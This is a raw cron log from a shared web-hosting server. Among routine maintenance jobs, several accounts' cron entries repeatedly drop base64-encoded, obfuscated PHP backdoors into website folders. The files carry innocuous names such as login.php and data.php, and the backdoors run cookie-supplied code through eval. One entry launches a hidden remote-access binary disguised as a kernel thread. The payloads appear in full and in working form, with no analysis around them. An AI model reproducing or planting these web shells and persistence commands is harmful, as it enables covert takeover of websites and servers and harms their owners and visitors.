Mar  2 05:59:01 medusa CROND[10060]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:59:01 medusa CROND[10061]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:59:01 medusa CROND[10064]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30524]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:00:02 medusa CROND[30526]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:00:02 medusa CROND[30527]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30530]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30550]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:00:02 medusa CROND[30542]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30548]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30556]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 06:00:02 medusa CROND[30562]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30549]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 06:00:02 medusa CROND[30561]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:00:02 medusa CROND[30565]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:00:02 medusa CROND[30569]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:00:02 medusa CROND[30582]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 06:00:02 medusa CROND[30584]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:00:02 medusa CROND[30586]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:00:02 medusa CROND[30592]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:00:02 medusa CROND[30606]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:00:02 medusa CROND[30590]: (root) CMD (/nutscripts/fix_packages_lve.sh)
Mar  2 06:00:02 medusa CROND[30610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30615]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:00:02 medusa CROND[30616]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:00:02 medusa CROND[30580]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30593]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 06:00:02 medusa CROND[30611]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:00:02 medusa CROND[30609]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30619]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 06:00:02 medusa CROND[30605]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30629]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 06:00:02 medusa CROND[30594]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:00:02 medusa CROND[30633]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 06:00:02 medusa CROND[30635]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30640]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:00:02 medusa CROND[30617]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 06:00:02 medusa CROND[30654]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:00:02 medusa CROND[30599]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:00:02 medusa CROND[30673]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:01:02 medusa CROND[12185]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:01:02 medusa CROND[12261]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:01:02 medusa CROND[12460]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 06:01:02 medusa CROND[12463]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:01:02 medusa CROND[12464]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:01:02 medusa CROND[12465]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:01:02 medusa CROND[12471]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:01:02 medusa CROND[12474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:01:02 medusa CROND[12470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:01:02 medusa run-parts(/etc/cron.hourly)[12460]: starting 0anacron
Mar  2 06:01:02 medusa CROND[12490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:01:02 medusa CROND[12493]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
